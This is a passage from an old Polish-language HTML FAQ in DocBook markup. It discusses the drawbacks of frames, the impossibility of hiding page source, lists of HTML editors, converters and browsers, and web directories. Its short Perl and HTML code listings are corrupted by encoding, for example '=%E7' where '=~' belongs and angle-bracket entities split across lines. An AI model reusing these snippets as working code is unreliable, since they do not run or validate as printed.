</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="RAMKI">
<TITLE>Ramki? Nie stosować!!!</TITLE>
<SIMPARA>From: qrczak@knm;org,pl (Marcin 'Qrczak' Kowalczyk')</SIMPARA>
<SIMPARA>From: GSTANIAK@golem,UMCS.Lublin;pl</SIMPARA>
<PARA>Nie wszystkie przeglądarki zobaczą ramki. Nie jest to wina tych
przeglądarek --- ramki dopiero niedawno zostały formalnie ujęte w
standard, przy czym jest to specjalna wersja HTMLa 4.0 z oddzielnym
DTD. Niektóre przeglądarki (np. Lynx) mogą wyświetlić tylko listę ramek,
bez podziału ekranu na prostokąty.</PARA>
<PARA>Układu stron z ramkami odbiorca z reguły nie może sobie sensownie
(tj. z właściwymi tytułami) zabookmarkować - bo nie można go określić
URLem. Może zabookmarkować najwyżej wyjściowy układ ramek.</PARA>
<PARA>Nie bardzo jest jak drukować strony z ramkami. W praktyce zwykle można
albo wydrukować pojedynczą ramkę albo próbować oddać układ ramek na
papierze (ale co zrobić, jeśli tekst się nie mieści na stronie?). To samo
dotyczy wszelkich innych sposobów prezentacji strony niż wyświetlenie
na ekranie, np. synteza głosem.</PARA>
<PARA>Strony z ramkami gorzej wykorzystują powierzchnię ekranu - część ekranu
zamiast użytecznym tekstem jest stale zajęta nawigacją. Wiele osób woli
nie rozpraszać się na dodatkowych elementach, tylko czytać właściwe
informacje na całym ekranie. A już zbrodnią jest robienie ramek, których
rozmiaru nie można zmienić ani nie można ich przewinąć --- spotykałem
już takie strony, w których część tekstu w ramce była przez to w ogóle
niedostępna.</PARA>
<PARA>Oglądając strony z ramkami gorzej się korzysta z klawiatury --- ponieważ
każda ramka przewija się niezależnie, trzeba jakoś uaktywniać właściwą
ramkę.</PARA>
<PARA>Trudniej robić strony niezależne od rozdzielczości --- ponieważ mamy mniej
miejsca, częściej się zdarzy, że u kogoś, kto ma mniejszą rozdzielczość
lub większe fonty, coś się nie zmieści, źle się podzieli na linie
itp. Sprzyjają przyjmowaniu (niekoniecznie mających jakikolwiek sens)
założeń na temat wielkości okna przeglądarki oglądającego.</PARA>
<PARA>Jeśli ramki już zostaną jakoś zindeksowane albo jeśli odsyłacz do
konkretnej ramkowej podstrony znajdzie się w jakimś innym serwisie, to
przeglądający z reguły jest pozostawiony bez nawigacji (nie może przejść
do jakiejkolwiek innej strony serwisu), bo zwykle cała nawigacja była
w innej ramce.</PARA>
<PARA>Ramki komplikują strukturę serwisu, zwiększają liczbę plików.</PARA>
<PARA>Trzeba pamiętać o TARGET="_top" przy wyjściach do innych serwisów. Bardzo
denerwuje, jeśli wychodzę do innego serwisu, który pojawia się w którejś
ramce - znowu nie można go zabookmarkować, a jeśli on ma kolejne ramki,
to wszystkie wady ramek się potęgują.</PARA>
<PARA>Jeśli już musisz używać ramek... poczytaj proszę:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://htmlhelp.com/design/frames/" ROLE="htmlurl">WDG Introduction to Frames (Gallacusa)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/assist/net_sites/frames.html" ROLE="htmlurl">Frames --- Netscape HELPSite</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
i spróbuj (zwłaszcza jeśli nie ma wersji bezramkowej) spojrzeć na swoje
strony lynxem &lt;
= 2.6. (jest też dostępny w wersji Win32) Ramki jak
poniżej uważam za źle zrobione. Ich nazwy powinny być opisowe.
<SCREEN FORMAT="LINESPECIFIC">FRAME: a FRAME: b FRAME: c</SCREEN>
Tutaj z kolei daje się już pracować.
<SCREEN FORMAT="LINESPECIFIC">FRAME: menu_nawigacyjne FRAME: strona_tytylowa Cennik firmy
Foo.BAR.COM.pl. * cos * inne cos * jeszcze inne cos</SCREEN>
głównie dzięki atrybutowi
<SGMLTAG>name=nazwa_ramki</SGMLTAG>
<EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC">&lt;

!DOCTYPE HTML PUBLIC '-//w3c//DTD HTML 4.0 Frameset//EN'&gt;
&lt;
HTML&gt;
&lt;
title&gt; ramki &lt;
/title&gt; &lt;
frameset&gt; &lt;
FRAME
src=nawigacyjne.html name=menu_nawigacyjne&gt; &lt;
FRAME src=tytulowa.html
name=strona_tytylowa&gt; &lt;
/frameset&gt; &lt;
noframes&gt; &lt;
body&gt;
&lt;
Cennik firmy Foo.BAR.COM.pl. &gt; &lt;
UL&gt; &lt;
LI&gt; cos
&lt;
LI&gt; inne cos &lt;
LI&gt; jeszcze inne cos &lt;
UL&gt; &lt;
/body&gt;
&lt;
/noframes&gt;
&lt;
html&gt;</PROGRAMLISTING>
</EXAMPLE></PARA>
</SECT1>
<SECT1 ID="HTML-ROZNE-UKRYC-KOD">
<TITLE>Czy mogę ukryć kod źródłowy dokumentu?</TITLE>
<PARA>Nie. I bardzo dobrze. Po prostu kod źródłowy dokumentu w HTML musi być
zakodowany bez żadnych ograniczeń, aby można było czytać dokumenty nie do
końca sprowadzone na lokalny komputer. Stosowanie wszelkich zaciemniaczy
kodu, przedziwnego jego formatowania itp. też na niewiele się zda...
<COMMAND MOREINFO="NONE">spam -c /usr/share/sgml/html/catalog -e -mshorttag -p dokument.html</COMMAND>
i ew. do tego prosty program  perlowy np.:
<EXAMPLE>
<TITLE>Perl --- wyrównywacz kodu</TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC" ROLE="perl">#!/usr/bin/perl  
open(F,"$ARGV[0]") || die "nie moge znalezc pliku wejsciowego \n" ;  
while(&lt;
F&gt;) {$aa.=$_;}  
close(F); $aa =%E7 s/\n&gt;/&gt;\n/g;  
$aa =%E7 s/(.+?)&lt;
/$1\n&lt;
/g; 
print $aa; </PROGRAMLISTING>
</EXAMPLE>
przekonwertują kod do czytelnej postaci. Zaś kilka godzin pracy powinno
wystarczyć na napisanie opartego na analizie ESIS HTMLowego formatera
kodu... Z istniejących narzędzi wymienić można (działające na innych zasadach)
<ITEMIZEDLIST>
<LISTITEM>
<PARA>polecenie 
<COMMAND MOREINFO="NONE">M-x fill </COMMAND>
w XEmacsie</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.watson-net.com/free/perl/s_fhtml.asp" ROLE="htmlurl">Format HTML (FHTML.PL)</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="HTML-NARZEDZIA">
<TITLE>Narzędzia do tworzenia HTML</TITLE>
<PARA>Gdy mowa o narzędziach służących do kreowania dokumentów w HTMLu często
trudno dojść do porozumienia. Część ludzi twierdzi, że najlepszym
narzędziem jest... Windowsowy
<EMPHASIS>Notatnik.</EMPHASIS>
Inni głoszą, że ma za małe możliwości wyszukiwania i zamiany więc zalecają
Vi;-) Są to zwolennicy
<EMPHASIS>edytorów poziomu ,,ręcznego''</EMPHASIS>
nie posiadających żadnej formy wspomagania edycji. Są tacy, którzy
chcieli by jednak mieć jakąś formę wspomagania tworzenia dokumentów
przez podświetlenie składni i możliwość wybrania z listy dobranych
znaczników. Ci są zwolennikami
<EMPHASIS>,,edytorów niskiego poziomu''.</EMPHASIS>
Są jednak też zwolennicy edytorów graficznych tzw.
<EMPHASIS>WYSIWYG</EMPHASIS>
czyli ,,wysokiego poziomu''. Lecz bardzo często zapomina się o innego
typu narzędziach np. konwerterach z innych formatów (w tym SGMLowych)
rozmaitych preprocesorach (zwykle pisanych ,,wieloplatformowo'' w C lub
perlu) ułatwiających tworzenie dużych ośrodków.</PARA>
<SECT2 ID="TOOLS-SKRYPTS">
<TITLE>Narzędzia skryptowe</TITLE>
<PARA>W sytuacji gdy dzieło staje się większe niż 30 stron potrzebne są
narzędzia pozwalające na zapanowanie nad całością.
<ITEMIZEDLIST>
<LISTITEM>
<PARA ID="WML"><ULINK URL="http://www.engelschall.com/sw/wml/" ROLE="htmlurl">WML </ULINK>
---
<PRODUCTNAME CLASS="TRADE">WebSite Meta Language</PRODUCTNAME>
--- naprawdę potężne narzędzie bazujące na dostępnych w Uniksach preprocesorach i językach skryptowych (np. cpp, perl, m4)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cinenet.net/users/cberry/orbinfo.html" ROLE="htmlurl">Orb</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.imatix.com/" ROLE="htmlurl">HTMLpp</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.geocities.com/Tokyo/1474/wpp.html" ROLE="htmlurl">WPP - The Web Preprocessor</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.firststep.com.au/software/gtml.html" ROLE="htmlurl">GTML</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
<SECT2 ID="HTML-NARZEDZIA-WINDOWS">
<TITLE>MS-Windows</TITLE>
<PARA>Gdy mowa o narzędziach pomagających tworzyć dokumenty hipertekstowe w
środowisku MS Windows (TM) zawsze mam ochotę stwierdzić, że można użyć
<ULINK URL="ftp://ftp.sunet.se/pub/os/Win32/ntEmacs/docs/ntemacs/" ROLE="htmlurl">Emacsa w trybie psgml lub html-helper</ULINK>
lub
<LINK LINKEND="VIM">ViM 5.1.</LINK>
(działają też w środowisku DOS/Win/Win32). Ale nie tego się po mnie
oczekuje. Niestety ;-). To co osobiście mogę zalecić to:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.sq.com/" ROLE="htmlurl">SQ HoTMetaL PRO 4.0</ULINK>
ew. jeśli mamy mniej pieniędzy:
<ULINK URL="http://FAQ-bor.ZiemBor.waw.pl/etext/programy/" ROLE="htmlurl">SQ HoTMetaL Free 1.0</ULINK>
(potem wyszły już tylko wygasające wersje ewaluacyjne, więc ich niestety
nie mogę rekomendować jako alternatywy dla wersji komercyjnej).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.dreamwaver.com/" ROLE="htmlurl">Macromedia Dreamweaver</ULINK>
jedyny używany przeze mnie (w wersji ewaluacyjnej) edytor graficzny nie
generujący nadmiarowego kodu, posiadający w dodatku dobre wsparcie dla
CSS (choć ma wadę w postaci wysokiej ceny).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>do pewnego typu prac (wymagających wspomagania tworzenia zespołowego
i zarządzania zawartości) i ze sporymi zastrzeżeniami (natury, mhyyy,
składniowej)
<ULINK URL="http://www.microsoft.com/frontpage/" ROLE="htmlurl">MS FrontPage</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.textpad.com/" ROLE="htmlurl">TextPad</ULINK>
jako dobry, i ,,czysty'' a jednocześnie dostosowywany edytor tekstowy.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://tucows.ICM.edu.pl/htmltext95.html#notetab" ROLE="htmlurl">Super NoteTab</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.sausage.com/" ROLE="htmlurl">HotDog PRO 3.0</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.allaire.com/products/homesite/overview.cfm" ROLE="htmlurl">HomeSiteX 2.5</ULINK>
lub freeware wersja 1.0.</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Oddzielną kategorią są ,,polskie'' edytory HTML (czyli bądź napisane przez
Polaków bądź z polskojęzycznym interface). Przyznaję się, że ściągam z
listy Pawła Wimmera ;-).
aczkolwiek z wielką niechęcią...
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.creamsoft.com.pl/pajaczek/" ROLE="htmlurl">Pajączek 2000 Rafała Płatka</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.amw.net.pl/hedit/" ROLE="htmlurl">Hedit (Windows 95) Witolda Ciżmowskiego i Sławomira Andryka</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.rubikon.net.pl/tiger/" ROLE="htmlurl">Tiger</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
Odradzam natomiast (zwłaszcza do ,,szybkich poprawek'') dobrą
przeglądarkę, ale gorszy edytor:
<ULINK URL="http://www.netscape.com/" ROLE="html">Netscape Navigatora Gold</ULINK>
(zostawia za dużo własnego, niepoprawnego, kodu przy każdym zapamiętaniu).</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.tucows.com/" ROLE="htmlurl">The Ultimate Collection Of Winsock Software</ULINK>
--- bliżej są ,,lusterka'':
<ULINK URL="http://tucows.ICM.edu.pl/" ROLE="htmlurl">Tucows na SunSite</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.man.poznan.pl/hypertext/cwsa/cwsapps.html" ROLE="htmlurl">The CWSApps List</ULINK>
--- Indeks Aplikacji Sieciowych dla Windows (mirror w Poznaniu)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.man.poznan.pl/pub/winsock-l/" ROLE="htmlurl">Papa's Anonymous FTP
<FILENAME MOREINFO="NONE">ftp://ftp.man.poznan.pl/pub/winsock-l/</FILENAME></ULINK>
(w Poznaniu)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.windows95.com/" ROLE="htmlurl">www.Windows95.com shareware and freeware</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="HTML-NARZEDZIA-UNIX">
<TITLE>Unix</TITLE>
<PARA>Wbrew temu co niektórzy mówią dla Uniksie jest mnóstwo cennych narzędzi
do edycji HTML (i generalnie SGMLa).
<ITEMIZEDLIST>
<LISTITEM>
<PARA>spreparowane pod kątem HTML pliki konfiguracyjne
<PRODUCTNAME CLASS="TRADE">Vi</PRODUCTNAME>
lub
<ULINK URL="http://www.vim.org/" ROLE="htmlurl"><PRODUCTNAME CLASS="TRADE" ID="VIM">ViMa</PRODUCTNAME></ULINK>
(zwłaszcza w wersji 5.0.)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><PRODUCTNAME CLASS="TRADE">joe</PRODUCTNAME></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.santafe.edu/%7Enelson/tools/" ROLE="htmlurl"><PRODUCTNAME CLASS="TRADE">Emacs</PRODUCTNAME></ULINK>
w trybie psgml lub hm-html=helper-mode</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.XEmacs.org/" ROLE="htmlurl"><PRODUCTNAME CLASS="TRADE">XEmacs</PRODUCTNAME></ULINK>
(używający trybów Emacsa ale przyjaźniejszy w obsłudze)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>HTMLowi dedykowany
<ULINK URL="http://SunSite.ICM.edu.pl/pub/www/asWedit/" ROLE="htmlurl"><PRODUCTNAME CLASS="TRADE">asWedit</PRODUCTNAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>edytor
<ULINK URL="http://www.w3.org/pub/WWW/Amaya/User/BinDist.html" ROLE="htmlurl"><PRODUCTNAME CLASS="TRADE">Amaya (W3C)</PRODUCTNAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cre.canon.co.uk/%7Eneilb/weblint/" ROLE="htmlurl">WebLint</ULINK>
(do kontroli poprawności kodu)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/CTAN/support/latex2html/" ROLE="htmlurl">Latex2HTML</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.sgmltools.org/" ROLE="htmlurl">SGML-Tools</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LITERAL MOREINFO="NONE">/usr/bin/texi2html</LITERAL>
będący częścią popularnej dystrybucji TeXa --- teTeX.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www-lmd.ericsson.se/%E7lmdrsm/lmdrsm.html" ROLE="htmlurl"><PRODUCTNAME CLASS="TRADE">info2www</PRODUCTNAME></ULINK>
Roar Smith &lt;
lmdrsm@lmd.ericsson.se&lt;

</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.inria.fr/INRIA/Projects/icsla/Implementations" ROLE="htmlurl">sdc</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
</SECT1>
<SECT1 ID="FORMATY-ZASTANE-A-HTML">
<TITLE>Konwersja formatów zastanych do HTML</TITLE>
<PARA></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/Tools/" ROLE="htmlurl">Tools for WWW providers</ULINK>
@ W3C</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://tucows.icm.edu.pl/htmlaccnt.html" ROLE="htmlurl">HTML Accessories @ Tucows</ULINK>
(m.in. konwertery DBF -&lt;
 HTML)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.bwl.uni-mannheim.de/www_doc/html.filters.html" ROLE="htmlurl">HTML Filters</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
<SECT2 ID="LATEX-HTML">
<TITLE>Konwersja LaTeX --- HTML</TITLE>
<PARA><SIMPLELIST TYPE="VERT" ROLE="author">
<MEMBER>From: W.Myszka@immt.pwr.wroc.pl</MEMBER>
</SIMPLELIST></PARA>
<PARA ID="NARZEDZIA-LATEX"></PARA>
<PARA>System LaTeX jest popularnym (zwłaszcza na uczelniach technicznych)
systemem przygotowywania tekstów. Mają one bardzo profesjonalny wygląd
i niejednokrotnie używane są do publikacji artykułów, raportów i tekstów
technicznych.</PARA>
<PARA>Tekst przygotowany ,,w LaTeXu'' może być bardzo łatwo (i
stosunkowo ładnie) przetłumaczony. Użyć do tego celu można programu
LaTeX2html. Program wymaga zainstalowanego Perla i interpretuje zarówno
dialekt LaTeX2.09 jak i LaTeX2e.</PARA>
<PARA>Dokumentem w całości przetłumaczonym do HTML z LaTeXa za pomocą tego
programu są
<ULINK URL="http://www.immt.pwr.wroc.pl/export_hp/tool/" ROLE="htmlurl">Narzędzia sieciowe</ULINK></PARA>
<PARA>Nieco mniej eleganckie wyniki daje program TeX2RTF (wbrew nazwie pozwala
on tłumaczyć dokumenty w LaTeXu do jednej z następujących postaci: RTF,
HTML, Windows Help).
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/CTAN/support/latex2html/" ROLE="htmlurl">LaTeX2html --- CTAN</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/CTAN/support/tex2rtf/" ROLE="htmlurl">TeX2RTF --- CTAN</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
</SECT1>
<SECT1 ID="HTML-JTZ">
<TITLE>Jak To Zrobić?</TITLE>
<SECT2 ID="HTMLINCLUDE">
<TITLE>jak włączyć inny plik HTMLowy do mojego?</TITLE>
<PARA>Powszechnie do tego celu używa się ramek (tworzonych raczej dla
prezentacji wielopanelowych). Właściwszym rozwiązaniem jest użycie
jakiegoś preprocesora (HTML nie nadaje się z różnych przyczyn do bycia
samodzielnym formatem źródłowym, więc to żadna szkoda) --- np.
<LINK LINKEND="WML">WML</LINK>
lub
<ULINK URL="http://sw.cse.bris.ac.uk/WebTools/fakessi.html" ROLE="htmlurl">SSI.</ULINK>
W przyszłości, po pełnym zaimplementowaniu (o ile to kiedykolwiek nastąpi) sensowne będzie użycie elementu 
<EXAMPLE>
<TITLE><SGMLTAG>OBJECT</SGMLTAG></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC"><INLINEGRAPHIC FILEREF="../zrodla/przyklady/object.html" FORMAT="LINESPECIFIC"></INLINEGRAPHIC></PROGRAMLISTING>
</EXAMPLE></PARA>
</SECT2>
</SECT1>
</CHAPTER>
<CHAPTER ID="NAWIGACJA">
<TITLE>Wędrowanie po pajęczynie</TITLE>
<PARA>_</PARA>
<SECT1 ID="PAJECZARKI">
<TITLE>Pajęczarki</TITLE>
<PARA></PARA>
<SECT2 ID="NAWIGACJA-DOS">
<TITLE>DOS</TITLE>
<PARA>Jest całkiem dużo przeglądarek działających w ,,gołym'' DOSie
(przypominam, że poza MS-DOSem istnieją i inne systemy działające w
tym trybie, np.
<ULINK URL="http://www.caldera.com/" ROLE="html">Caldera OpenDOS</ULINK>
--- wyposażony nie tylko w klienta
<ULINK URL="http://www.Novell.com.pl/" ROLE="html">NetWare</ULINK>
ale i w stos TCP/IP i przeglądarkę 
<ULINK URL="http://www.caldera.com/products/drwebspyder/drwebspyder.html" ROLE="htmlurl">WebSpyder </ULINK>
). Dostępna jest 16 bitowa wersja
<ULINK URL="http://www.fdisk.com/doslynx/" ROLE="htmlurl">Lynxa</ULINK>
a także czeska
<ULINK URL="http://www.arachne.cz/" ROLE="htmlurl">Arachene</ULINK></PARA>
</SECT2>
<SECT2 ID="NAWIGACJA-WINDOWS">
<TITLE>MS-Windows i OS/2</TITLE>
<PARA>Najprostszą formą zaopatrzenia się w przeglądarkę jest zajrzenie do
jednego z archiwów oprogramowania ,,sieciowego'':
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.tucows.com/" ROLE="htmlurl">The Ultimate Collection of Winsock Software</ULINK>
<ULINK URL="http://SunSite.ICM.edu.pl/tucows/" ROLE="htmlurl">(mirror: SunSite.ICM)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://cw.internet.com/" ROLE="htmlurl">The CWSApps List</ULINK>
Indeks Aplikacji Sieciowych dla Windows
<ULINK URL="http://www.man.poznan.pl/hypertext/cwsa/cwsapps.html" ROLE="htmlurl">(mirror: Poznań)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.man.poznan.pl/pub/winsock-l/" ROLE="htmlurl">Papa's Anonymous FTP
<FILENAME MOREINFO="NONE">ftp://ftp.man.poznan.pl/pub/winsock-l/</FILENAME></ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
i tam można znaleźć tak
<ULINK URL="http://home.netscape.com/" ROLE="htmlurl">Netscape Navigatora</ULINK>
/Communicatora,
<ULINK URL="http://www.microsoft.com/ie/" ROLE="htmlurl">MS Internet
Explorera,</ULINK>
<ULINK URL="http://www.opera.no/opera/" ROLE="htmlurl">bardzo ostatnio popularną ze wzgledu na relatywnie
duże możliwości i małe wymagania sprzętowe Operę</ULINK>
jak i NSCA
Mosaic i wiele, wiele innych.</PARA>
<PARA>Godnym uwagi tworców stron WWW produktem (choć z przyczyn nie do końca
dla mnie z zrozumiałych nie wymienianym w spisach) jest wytwór
programistów W3C:
<ULINK URL="http://www.w3.org/Amaya/" ROLE="htmlurl">Amaya</ULINK>
implementująca HTML 3.2. wraz z CSS1 i
dostępna na wiele różnych platform sprzętowo-systemowych.</PARA>
</SECT2>
<SECT2 ID="NAWIGACJA-UNIX">
<TITLE>Unix</TITLE>
<PARA>O ile UNIX i pochodne do tej pory dominują na rynku serwerów, to
systemem przeglądarek stał się
<ULINK URL="http://www.microsoft.com/" ROLE="htmlurl">MS Windows.</ULINK>
Tym nie mniej jest kilka
wartościowych produktów. Takich jak:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.yggdrasil.com/Products/Arena/" ROLE="htmlurl">Arena (W3C i Yggdrasil)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/Amaya/" ROLE="htmlurl">Amaya
(W3C)</ULINK>
<ULINK URL="http://SunSite.ICM.edu.pl/pub/www/amaya/" ROLE="htmlurl">(mirror na SunSite ICM)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/netscape/" ROLE="htmlurl">Netscape Navigator (mirror na SunSite.ICM)</ULINK>
lub
<ULINK URL="http://SunSite.ICM.edu.pl/pub/netscape/communicator/" ROLE="htmlurl">Netscape Communicator</ULINK>
(od połowy lutego
dostępny dla wszystkich za darmo)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>niezastąpiony
<ULINK URL="http://lynx.browser.org/" ROLE="htmlurl">Lynx</ULINK>
(jest też
<ULINK URL="http://SunSite.ICM.edu.pl/pub/www/lynx/" ROLE="htmlurl">mirror na SunSite.ICM)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ncsa.uiuc.edu/SDG/Software/Mosaic/" ROLE="htmlurl">NSCA Mosaic</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.unlv.edu/chimera/" ROLE="htmlurl">Chimera</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.mnemonic.browser.org/" ROLE="htmlurl">MNEMONIC</ULINK>
(Multilithic, Non-dependent, Extensible, Modular, Objective, Network-aware, Internet Client): w
trakcie powstawania.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.auc.dk/qweb/" ROLE="htmlurl">QWeb</ULINK>
--- oparta na bibliotece Qt przeglądarka SGMLa --- radząca sobie radę i z ordynarnym HTMLem.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.gzilla.com/" ROLE="htmlurl">Gzilla </ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>W Polsce podstawowym archiwum jest
<ULINK URL="http://SunSite.ICM.edu.pl/pub/www/" ROLE="htmlurl">,,sansajt''</ULINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/Linux/Documentation/HOWTO/WWW-HOWTO.html" ROLE="htmlurl">WWW-HOWTO</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.tuniv.szczecin.pl/linux/doc/other/LinuxApps/" ROLE="htmlurl">Linux Applications --- WebBrowsers</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="NAWIGACJA-APPLE">
<TITLE>Apple</TITLE>
<PARA>Ciężko... ciężko... Niestety daleki jestem od używania ,,makówek''. A
szkoda. (Wszelkie oferty opisania narzędzi dla produktów
<ULINK URL="http://www.apple.com/" ROLE="htmlurl">Apple,</ULINK>
oferty
sprzętowe itd. mile widziane ;-))) )</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://tucows.icm.edu.pl/" ROLE="htmlurl">Apple @ Tucows</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.boutell.com/faq/" ROLE="htmlurl">WWW FAQ Boutella</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="NAWIGACJA-INNE">
<TITLE>Inne</TITLE>
<PARA><ULINK URL="http://www.boutell.com/faq/" ROLE="htmlurl">WWW FAQ Boutella</ULINK>
omawia i inne platformy</PARA>
</SECT2>
</SECT1>
<SECT1 ID="POSZUKIWANIA">
<TITLE>Poszukiwanie informacji</TITLE>
<PARA>Wyszukiwanie w informacji w pajęczynie nadal jest koszmarem z prasowej
reklamy: zalew papierem i danymi... Pomagają w tym katalogi
tematyczne, przeszukiwarki czy też specjalizowane usługi dostarczania
informacji.</PARA>
<SECT2 ID="NAWIGACJA-KATALOGI">
<TITLE>Katalogi tematyczne</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://wp.cnt.pl/" ROLE="htmlurl">Wirtualna Polska</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.wawa.wow.pl/" ROLE="htmlurl">WOW!</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.onet.pl/" ROLE="htmlurl">Onet</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.polishworld.com/" ROLE="htmlurl">PolishWorld</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://polska.pl/" ROLE="htmlurl">oficjalna Polska Strona
domowa (NASK)</ULINK>
<ULINK URL="http://poland.pl/" ROLE="htmlurl">(po angielsku)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://plwww.fuw.edu.pl/" ROLE="htmlurl">oryginalna (i pierwsza) Polska Strona na info.fuw.edu.pl</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
i światowe
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.yahoo.com/" ROLE="htmlurl">Yahoo</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/DataSources/bySubject/Overview.html" ROLE="htmlurl">WWW Virtual Library</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.webcrawler.com/" ROLE="htmlurl">WebCrawler</ULINK>
(skromny objętościowo, za to bardzo starannie opracowany)</PARA>
</LISTITEM>
<LISTITEM>
